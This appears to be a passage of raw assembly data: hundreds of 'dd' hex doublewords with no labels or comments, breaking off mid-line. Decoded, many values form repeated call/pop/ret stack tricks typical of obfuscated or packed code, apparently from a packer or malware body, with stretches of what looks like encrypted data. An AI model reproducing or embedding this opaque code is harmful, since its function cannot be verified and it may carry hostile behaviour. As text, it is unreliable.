57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9A1AF80h dd 0Fh, 17B7F108h, 41C16F48h, 18C82192h, 0E942EC05h, 12h dd 87D913ACh, 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 0F7668FBDh dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0CDB589C8h, 2B062B2Fh, 218529D8h, 58062B0Bh dd 4E9F67BFh, 0FD82B4Ch, 18288h, 0E7816600h, 7B93958h dd 66000000h, 0C183FE8Bh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 8FDF29AFh dd 1C1BDCC2h, 0F2BF0F28h, 0F8E0F60h, 0E9000000h, 0Ah, 0C6C35FABh dd 0B0EED2B7h, 47B08C44h, 0FD93B61h, 12A86h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 168276C7h, 832FA93Ch, 0FDD4D781h, 0BD89390Bh, 62B1BD9h dd 0FD98C66h, 0BF0FF0BFh, 4C1F6F9h, 0E1840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0B9B82EC3h, 0DE2B6499h, 0B52B10A5h, 62B2E51h, 356995FFh dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 41DFC3h, 0F4F64FDh, 0D8Ch, 0A9B96000h, 890BB15Ah dd 2B1E5D9Dh, 9D896106h, 62B0CC9h, 2BFA8B5Bh, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0DB7BDEC9h, 4FC81E3Bh, 8D0F6AFCh, 2, 0BD89F08Bh, 62B0A31h dd 8343Dh, 34860F00h, 57000000h, 3029B58Bh, 0E95F062Bh dd 2Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h dd 18C35242h, 6FCF33CEh, 65BD8B2Eh, 8B062B27h, 4D9D29C0h dd 8B062B32h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 7B16C353h, 17C985C7h dd 9359062Bh, 0BD0B7F2Bh, 62B02DDh, 5AE9BE66h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 1FE676C3h, 0F2B70FFCh, 71C78166h, 9BD8175h, 0D0062B29h dd 0F000007h, 0E85h, 0A5B53100h, 0FF062B1Fh, 2B290985h dd 0FFFB8B06h, 2B2909B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0D8158E6Ah dd 3C666312h, 5E9h, 6C4D9400h, 95FF2EF8h, 62B2945h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 91C35646h, 9C34B698h dd 13E81922h, 51000000h, 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h dd 0ED9A46EDh, 0BD8B7D1Fh, 62B10A5h, 6A905Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9A86F4C3h dd 9E8h, 0AA9B8400h, 2F23384Ah, 85894B5Dh, 62B1EF9h, 0BE66F55Eh dd 6AB431h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 53B45AC3h, 2417C33Eh, 52006A81h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0F2FBE9F9h dd 0B30BA3BEh, 6ACAC8h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 29FE18C3h, 2B358D95h, 65958906h dd 6A062B27h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 16C9C356h, 85296AE9h, 62B0539h dd 0B880Fh, 0E7810000h, 590B634Fh, 6B464DBEh, 0FDEEBE35h dd 8B6621FAh, 685EBFF2h, 0A8BF66F0h, 6A6F10DEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0BDDDC356h, 885F6A46h, 0E9ABC65Fh, 0FFFFF7D3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7DC35242h dd 60DFB591h, 2BC59D0Bh, 8B61062Bh, 0FB8B66C1h, 4EBh, 0B70F0000h dd 55006AF6h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 2B14E851h, 2FC1858Dh, 0BF0F062Bh, 0BE6690FFh dd 6650A188h, 90B98ABEh, 6AF98B66h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 13445563h dd 8247F391h, 91ECDF81h, 6A135Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 44C35343h, 7BA8E6F9h, 0B13B44BDh dd 0F7BF0F1Fh, 13EC858Dh, 6A062Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 3FCDCEC3h, 1099BD8Bh dd 0BE66062Bh, 0C0833582h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0BFE451Ah dd 0D1406D8Ch, 0F7817BABh, 170416EDh, 26B19529h, 8589062Bh dd 62B202Dh, 46C9BE90h, 90503088h, 2EE18D89h, 6A062Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E8C35343h dd 6A5EEFh, 58E0Fh, 81660000h, 0FF6AABF7h, 2B34E195h, 0F0BF0F06h dd 8E960h, 0DADC0000h, 0A49333D2h, 8D61016Ch, 2EA6AA9Dh dd 0C9850906h, 0FF062B15h, 0D85FFD3h, 6A062B1Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F5FFC351h, 83CE9h, 0E800h, 815D0000h, 2F13F6EDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 23C1412Eh, 0B23EE046h, 0BE66C89Bh, 0BD81648Dh, 62B2909h dd 7D0h, 146860Fh, 0DE810000h, 4D2FAD34h, 2AE59D8Bh, 870F062Bh dd 6, 32E5B58Bh, 0E381062Bh, 100h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 56C35141h, 0E71C6802h, 502408E7h dd 99BD0BC7h, 0B062B1Fh, 94850FDBh, 83000000h, 2F126EBDh dd 840F0006h, 24h, 58D0Fh, 23BF0000h, 0E91FD0EBh, 87h dd 1858960h, 2B062B0Eh, 2B171D85h, 0B58B6106h, 62B2B21h dd 126E85C7h, 1062Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 300A3AC3h, 8F0E823Eh dd 99B50B50h, 5E062B33h, 3AE9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0EBD39078h dd 0C963EB2Ah, 49858948h, 0C7062B20h, 2F126E85h, 6, 830F00h dd 8D000000h, 2B2AE59Dh, 5BD2906h, 52062B1Dh, 2195BD01h dd 815F062Bh, 0FFFEFF23h, 14E9FFh, 6A2C0000h, 7712847Dh dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 13E86346h, 0C000000h dd 0B99BC994h, 2201D86Ah, 8316534Ch, 0A42F316h, 0F607D28h dd 5E61F6B7h, 0F6DB8C66h, 840F04C3h, 62h, 2870Fh, 5F530000h dd 356995FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0AD1615C3h, 10B1B58Bh, 6690062Bh dd 50193DBFh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 33605CABh, 2B2C11B5h, 0CE816606h dd 3AE9F74Fh, 0E9000004h, 6, 0DC97241Dh, 0B0C25Eh, 0E6F8B70Fh dd 31958970h, 0E4062B33h, 0C5950171h, 0F062B34h, 6AD8B6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 65F51FC3h, 33D67D9Ch, 4AEFBED7h, 6BA36DBh, 8B000000h dd 119D89C3h, 0C1062B01h, 6A04E8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 2503FAC3h, 66FDF871h dd 880FE2F7h, 9, 38E0Fh, 8B660000h, 0AE9F0h, 1E570000h dd 7FE56F4Ch, 7AA6108Eh, 0BD8BD82Bh, 62B26D5h, 48D78166h dd 0BE6650B0h, 1C89D756h, 0E1850924h, 0FF062B06h, 2B2909B5h dd 0F6816606h, 95FF4DE9h, 62B2945h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 9CC35242h, 8B62DC1Bh, 2B2B4DBDh dd 0D2C78106h, 0B008947Ah, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0F5A03BF5h dd 98BF7080h, 59B6C781h, 0BD8B3F17h, 62B2979h, 6120B060h dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0B4282BC3h, 671CE8E9h, 0FE9h, 0DC06AC00h dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 6A71E4F8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 1C33C357h, 159938C0h, 353DBD29h, 613C062Bh, 2A7830Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 895696C3h, 2B32898Dh, 0BD8B5F06h, 62B2475h dd 0BAD8B60Fh, 6, 0D41BD31h, 0C38B062Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 0E4C35141h, 6E9529Dh dd 0BF000000h, 5C70C773h, 0E8C15E77h, 55006A04h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0BD027DB0h, 0F76649C5h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A4ACE0A4h dd 24F7F681h, 0D82B6538h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 3EC35545h, 289608F9h, 0F799179h, 58Ch dd 0E7816600h, 0BF668768h, 89583886h, 2B11E5B5h, 0FD82B06h dd 1B488h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0B3EA7D08h, 51E3ABF9h, 0A78DBF66h dd 0DE85Eh, 1E1F0000h, 372B4B04h, 176883D0h, 0E90694B3h dd 0Bh, 26B9DFC3h, 0D689A1D3h, 5E2231E7h, 0DD9BD8Bh, 7B9062Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C6AAC352h, 1D7E5D08h, 0D9D1FE6Bh dd 60FE8B66h, 6966B966h, 615EFC50h, 6A00C183h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 6E2CC356h, 76BCF434h, 0D93BF78Bh, 0FF860Fh, 81660000h dd 667BE9CEh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 495C22C3h, 172CFAE2h, 0E9D48B67h dd 5, 0B3AFE2BCh, 4C1F6ACh, 88840Fh, 95FF0000h, 62B3569h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DC35545h dd 0D217F168h, 0FE4C5F0Eh, 0EE94Ch, 0EC1D0000h, 40E43EBAh dd 5532B6EEh, 0EFD6419Dh, 2BFA8B5Bh, 56006AC3h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B529511Fh dd 62B1701h, 1F498589h, 343D062Bh, 0F000008h, 1186h, 89BD8B00h dd 0E9062B29h, 3Dh, 33919D89h, 0C08B062Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E6C35343h, 10A437AFh dd 0A52D6A7Ch dd 810Fh, 81660000h, 89C294E7h, 2B2C6185h, 8BC38B06h, 89B58BD8h dd 0C7062B1Eh, 2B0D4D85h, 1BB3B306h, 57006A30h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 10653100h dd 66600477h, 0EE81C28Bh, 2FBD0437h, 0FCC08B61h, 2909BD81h dd 7D0062Bh, 850F0000h, 1Ch, 290985FFh, 890F062Bh, 10h dd 9E8h, 0A78BD800h, 0C08EAF87h, 5EF8AABAh, 2909B5FFh dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 6986E5C3h, 0B4969CE8h, 8B66284Fh, 4595FFF2h dd 6A062B29h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 94A5C357h, 1E7D94A0h, 72B9609Ah dd 667558D1h, 61E4F0BFh, 2199B58Bh, 8B90062Bh, 2B34BDBDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0D5467E64h, 0C781661Ah, 0DE8B27Dh, 0F1000000h dd 6F4817B7h, 219241C1h, 0EC0518C8h, 9E8h, 0F0486200h dd 0E72521B9h, 0F18B7656h, 6A5F5Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70FA0C3h dd 55006AFBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0B58B51CEh, 62B29E1h, 4C7815Fh, 0E96328F3h dd 0Dh, 32325599h, 60183D19h, 78CACCC1h, 53006ABAh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 304CD9h, 7857BED2h, 6E91B8Ah, 0E3000000h, 0DD1EF6ADh dd 63BE66F5h, 12E9D4h, 0A9000000h, 50E6710Bh, 9626C269h dd 0D05D324Eh, 0F7712A29h, 0B19B589h, 0F852062Bh, 0F38B665Eh dd 0FFF7ECE9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 66D2C4C4h, 31CA45BEh dd 2B2C9185h, 14E906h, 2FA20000h, 327Ah, 3 dup(0) dd 21E90000h, 0CA000005h, 1C7BB791h, 6C8B0739h, 0BDDAD6E8h dd 966A2BAh, 46B36F51h, 6E500693h, 3F0955B2h, 89B3A4C3h dd 5472F20Dh, 5F6D8258h, 92C4DCADh, 818CA4A0h, 0B70AE1C7h dd 21D99A3h, 38876442h, 4781DD38h, 11BEDA64h, 0B94C9B62h dd 0CDBA7C21h, 0AB9ABAD0h, 0B0434A83h, 89D6F66Dh, 9B70560Ah dd 9E770687h, 0A3B30473h, 80DDCAF1h, 12232D65h, 0EE1FBB34h dd 5EED9175h, 0EBADB832h, 0C88ECD94h, 4C535AF6h, 99F63214h dd 0E700FCC0h, 1E7D4E72h, 812B393Ch, 6894EBADh, 77EBD0F2h dd 1D00F0DBh, 0E8DC8529h, 8894232Ch, 94EBADE6h, 8F6C5007h dd 4D071A93h, 0BDA1FC6Bh, 5D73028Bh, 94EBADCCh, 3A685CE5h dd 7D974730h, 7BF503AEh, 0E94EBA1h, 6B0C9910h, 0CE000000h dd 3F22C781h, 0C09C2E3Ah, 69F194EBh, 765AB1CDh, 94EBC0EAh dd 312762CDh, 59B294CCh, 3846A5C1h, 0C4C5FF5Fh, 0D4B3675Bh dd 5671B882h, 7D96DA1Ch, 0AC0h, 2F1A8900h, 6FDC1DF9h, 81D6F435h dd 0BA01EADAh, 0F74AA1A7h, 2C73587Ch, 66B51628h, 0ACFFCCF2h dd 7CFD3B7h, 0D0BFC736h, 58D1C05Ch, 350B4E64h, 80A69EF9h dd 2719004h, 271E5044h, 0AB94AA01h, 28B8C12h, 8A615BFFh dd 64DF2037h, 74C72440h, 0A6A0BAD9h, 4BF43545h, 152F3377h dd 0E0C67E99h, 9EA0B40Bh, 0D8AC554Dh, 9753D0AAh, 55630E7Dh dd 94EBBEDBh, 0BE34B6C2h, 0D14994EBh, 0E0B574EAh, 7Ch dd 0E7D981E2h, 0C0451D78h, 0A00BA781h, 419C6F9Eh, 0CFBA251Bh dd 7475389Dh, 891C8DD7h, 3B1E7D84h, 1198A605h, 0B89E14E8h dd 932F1945h, 2E0E4944h, 72E403FFh, 251C6348h, 0A1B9D403h dd 0FB324C9Fh, 0BF89D528h, 754B116Ch, 2A1E4796h, 0DEA25347h dd 0ED9FAD38h, 6094EB69h, 0EE880FFEh, 967D9788h, 3Ch, 0E7D98130h dd 9CA0B904h, 0FBCF644Fh, 4E99A3B7h, 0D7341053h, 0F89C424Bh dd 1EADA81h, 0EBC03ECBh, 0DAAE1794h, 0FCF16924h, 0EBC05ED0h dd 932F3394h, 0D9F37F1Ah, 1AB7D96h, 37000000h, 6E5DB81h dd 80ACB9BBh, 94EBC0EEh, 0F463FF63h, 30F9DF99h, 53B1E7Dh dd 1065BA6h, 0F886655Bh, 8FA48F5Ch, 4FF634BBh, 1F21377Bh dd 0D51A6AE3h, 0D9277E8Ah, 302E8AC6h, 0EACC84DBh, 0B197D12Eh dd 39EA765Ah, 0AA836D3Fh, 0B690D0D6h, 7D5B1D7Ah, 371153AEh dd 0ECD085D4h, 3F195B36h, 97B1B3CEh, 0E8810C1Bh, 0C372AA05h dd 630F8A03h, 1B776BD6h, 178h, 0D21F6FC7h, 0D89BF685h dd 78FADA2Fh, 1DB96F9Ch, 5779B0CEh, 8AC65D52h, 0DB831E2Dh dd 527C02E9h, 6D3E41D8h, 0BA11ADADh, 0CFCBED67h, 3596B0B0h dd 0D1E67B16h, 3E4129C3h, 0A6C25C6Dh, 597FF645h, 0B3B5CC3Dh dd 7EE73695h, 0A2C248Ah, 5A5D098Eh, 5201776Ch, 0CD000000h dd 54D6E271h, 2994EBC0h, 0F847F831h, 37316CFBh, 0A077BA11h dd 0BD326E90h, 0C34EBFDBh, 0EBE15BB5h, 1BF06E14h, 0EBE13BB5h dd 0BFDA6514h, 3545A69Ah, 0DD774BF4h, 0CAD6016Eh, 94EBE140h dd 3A29E575h, 0DCh, 0C4B0E897h, 2B5962BEh, 0F9300A4Ch dd 4F1271DDh, 2F9FB079h, 2A8795C2h, 498AC6DBh, 3B1CAEBAh dd 0E9716D3Fh, 0EDD7D20h, 2A0C4443h, 3170B9C1h, 3FE1C237h dd 0F06343BBh, 53F5854h, 0F685C823h, 0D680C49Bh, 6D3FC154h dd 0D8F83129h, 6D3FDE4Bh, 7D31152Eh, 6381EFBh, 0EE7995A5h dd 9BA9AEB3h, 6D3FC011h, 8D5EFA64h, 0C7463CEDh, 0AEED7A77h dd 0FA1594AAh, 0EE472EEh, 4ACE373h, 0A5D07A2Eh, 7793B5AAh dd 2E5DF0DBh, 1E2A7688h, 674F6E6Ch, 440E79E1h, 0D5EB6E68h dd 373170B9h, 0EC67BA11h, 0B89CE3C8h, 0DD05A7B5h, 0E678674Fh dd 8EB7614Ah, 5F61F4BAh, 7054C9C3h, 0C00F64D4h, 8B9982C5h dd 674FDDE1h, 0BF6E8A94h, 6A760590h, 674FDDC0h, 6C64A5B5h dd 797EF9ECh, 993DF961h, 85D21F6Fh, 82C69BF6h, 0E4C5850Bh dd 0D6488ADAh, 88AEA6F5h, 5771F30Ch, 36335874h, 0CB6420E0h dd 97B1B3F7h, 5144FC1Bh, 9016A943h, 391DC51h, 1314FFAEh dd 0AA019D39h, 4E68E8A7h, 0D52CDD7Dh, 0A751BA92h, 6CE4CABEh dd 37314E4Ah, 393BA11h, 87000000h, 0DC817A5Eh, 84BC03E8h dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h dd 4A0E6DBEh, 15489774h, 5608D833h, 0C6815E54h, 4, 8704EE83h dd 685C2434h, 6B83h, 68243C89h, 1C27h, 68240C89h, 12EEh dd 0B9240C89h, 62F1C4Bh, 8159CF89h, 4ECh, 24248900h, 4240483h dd 0BF575759h, 23AB79D8h, 4247C29h, 8418F5Fh, 0D8084181h dd 8B23AB79h, 8950240Ch, 405E0h, 0C0830000h, 24048704h dd 243C8B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FC5E5BE9h dd 0DD9E18FFh, 0BCF94A75h, 0D28985h, 2E724824h, 2F20DFB8h dd 0FFC50306h, 41FF7DE0h, 0C13836Fh, 0EFA5477Ah, 0F2BC123Ah dd 1867482Ah, 98110019h, 0FCC3FA4Dh, 0D225C27Ch, 0D1E6D966h dd 5894B040h, 0AF50192Ah, 89C7230Dh, 6DC1E01h, 0EC73A07Bh dd 6BA7BE07h, 0B1F24129h, 0E6ADF14Ch, 9AE28E3Fh, 0C1113238h dd 93129D5Ch, 8BC18B30h, 2B288DBDh, 4EB06h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 5572C353h, 16BE695Dh, 6A29CC09h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E917C356h, 0Fh, 0F3355722h, 9666EDABh, 0F3D5898Eh dd 8D0419CBh, 2B2FC185h, 3DB53106h, 90062B24h, 0D99779BFh dd 5E525077h, 820F90h, 6A000000h, 0EF816600h, 6ABE5Eh dd 4BE78166h, 1982BECEh, 858D702Fh, 62F231Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h, 88D4749Dh dd 0DD9D013Ah, 83062B32h, 0BD8B05C0h, 62B11DDh, 50FA8B90h dd 0BE857h, 531D0000h, 9EA0BE71h, 719CB995h, 8B0FD1h, 5F000000h dd 0FE8B905Eh, 8A0F006Ah, 5, 2330C7BEh, 60006A47h, 9E8h dd 70186D00h, 7F6D2527h, 0C2808446h, 0CBA5BA9h, 617AADA4h dd 34E195FFh, 0BD23062Bh, 62B3435h, 6DB58Bh, 9D8D062Bh dd 62EA6AAh, 0D3FFF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0EBC35747h, 8D01B373h, 62B26FDh, 1E0D85FFh dd 4FE9062Bh, 0E8000007h, 0 dd 24ED815Dh, 6A062F23h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0D3E4C353h, 2B01B589h dd 0BD81062Bh, 62B2909h, 7D0h, 114860Fh, 8BF50000h, 2B00759Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 526D7434h, 35A9B52Bh, 815E062Bh, 100E3h dd 0FFBF0F00h, 850FDB0Bh, 7Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 6CC35141h, 0F93C4667h, 0BA0E072Eh dd 0C9CE8166h, 6880FB1h, 89000000h, 2B1851BDh, 0CFBD8306h dd 62F21h, 13840Fh, 9520000h, 2B056D8Dh, 4DE95F06h, 3000000h dd 2B0B79BDh, 0CF85C706h, 1062F21h, 0F000000h, 0B8Eh, 6E900h dd 113E0000h, 655AB646h, 46E78166h, 22E907h, 85C70000h dd 62F21CFh, 0 dd 0CE8h, 720D4D00h, 0D6DA2821h, 53200BF2h, 29BD8BEAh dd 5E062B09h, 759D8Dh, 9D89062Bh, 62B17FDh, 0FEFF2381h dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 181606C3h, 959BE513h, 274DBD8Bh, 8C66062Bh dd 0D5BD8BDBh, 0F6062B01h, 840F04C3h, 2Ah, 0D8DB58Bh, 95FF062Bh dd 62B3569h, 67F508BEh, 8B665052h, 240489F8h, 6810Fh, 85090000h dd 62B1AA1h, 0ED1B523h, 0C5E9062Bh, 0B0000003h, 0D5958900h dd 0E6062B16h, 0FABE6670h, 6A71E479h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 667BC356h dd 0F3993BFh, 6BAD8B6h, 66000000h, 0F68CF781h, 0DF81C38Bh dd 347FDEAh, 5704E8C1h, 5FF3B70Fh, 0F5B50B51h, 5E062B17h dd 6AE2F766h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 50DBC351h, 66B7D1B4h, 0F277F681h dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 0F3E7F8C3h, 1C8950DDh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FF79D19Eh dd 2B2909B5h, 8E906h, 43C0000h, 23CE08C1h, 95FFABE5h, 62B2945h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9C35747h dd 51F573D5h, 0C07F17D4h, 24B9B589h, 0B0062Bh, 99958957h dd 5F062B01h, 7E870E6h, 0FB000000h, 0D9A5918Dh, 0BE66B051h dd 0E45E5285h, 6E871h, 6B050000h, 0F878F846h, 11E860h dd 8F3C0000h, 905C7BD9h, 8065A1D7h, 0A6308200h, 5A224D9Ah dd 613C5E61h, 276830Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 18297EC3h, 5FF952ACh dd 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 5770C352h, 0ACDDFF73h, 0CF816613h dd 6BA4C8Dh, 89000000h, 2B1865B5h, 0DDB58B06h, 8B062B34h dd 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0C1BD8BDCh, 8B062B09h, 2B2FB5B5h, 4E8C106h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BDC35040h dd 60767591h, 123F88BFh, 6AE2F766h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 3CFEC356h dd 896C7171h, 2B2EE9B5h, 0BED82B06h, 76C68FE8h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0CDF7819Fh, 0F1261FEh, 0D5BEF7B7h, 2B4ED040h, 65880FD8h dd 0F000001h, 2086h, 13E96000h, 9000000h, 4FC1B5BBh, 84F299FFh dd 23F0D2D9h, 0EC6EB4E7h, 0BD030BDDh, 62B2179h, 7B961h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FC327BC3h, 2A3D9D31h, 0C183062Bh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0CCE1E511h, 7E89D6Ah, 0D1000000h, 0BCB4CD35h, 3B5E80B6h dd 0DD860FD9h, 66000000h, 0C1F6D98Ch, 0AB840F04h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0BD66C350h, 23D987C1h, 2B118DB5h, 0F1BD8B06h dd 29062B2Bh, 2B2C7595h, 6995FF06h, 89062B35h, 2B297995h dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 20497AC3h, 863241E1h, 0BD0BA1B8h, 62B1AA5h dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 40E536C3h, 0EA9F4D99h, 816069DDh, 0AA09B9D2h dd 343D6179h, 0F000008h, 986h, 0F38B6600h, 27E9h, 0C08BFC00h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E2C35747h dd 0BD337EC1h, 62B1229h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0D1C35141h, 2E05A293h, 8B52449Bh dd 2B1F5DB5h, 85C75F06h, 62B2AE5h, 1835EFBDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6CC35242h, 81C0C0D4h dd 0F34483D6h, 0E8C08B4Ch, 13h, 4AF39ED6h, 4BAB297h, 146BE337h dd 0F77DAFCCh, 66E43A18h, 0BF71DF81h, 398D895Fh, 81062B05h dd 2B2909BDh, 7D006h, 12850F00h, 89000000h, 2B0891BDh dd 985FF06h, 8B062B29h, 2B2715BDh, 9B5FF06h, 6A062B29h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 7D43C350h, 0AD9490A3h, 95FF4591h, 62B2945h dd 1E45BD8Bh, 6A90062Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 6D06C356h, 820F36E2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3C35545h dd 0BD8BB5D5h, 62B2979h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B7C35343h, 352DB58Bh, 0F50062Bh, 280h dd 5F616000h, 0A880Fh, 5E90000h, 3000000h, 0EF61DABh, 0A0DBD03h dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0D135CDC3h, 7B0625C6h, 0B70F5963h, 54BF66F7h dd 69BD8B38h, 0BE062B21h, 57D633CEh, 38F0Fh, 8B660000h dd 0BD8B50FAh, 62B2FB5h, 1CE1BD29h, 0F5E062Bh, 8C0FF9BFh dd 0 dd 21A1B58Bh, 9529062Bh, 62B11D5h, 0D895EF81h, 8B60145Ch dd 2B0A118Dh, 0D8BF0F06h, 35B58B61h, 0E9062B1Bh, 11h, 5C282323h dd 0F7B41ECFh, 8E6C7B49h, 47B4AE07h, 0F8B1E9CDh, 6A60FFFFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 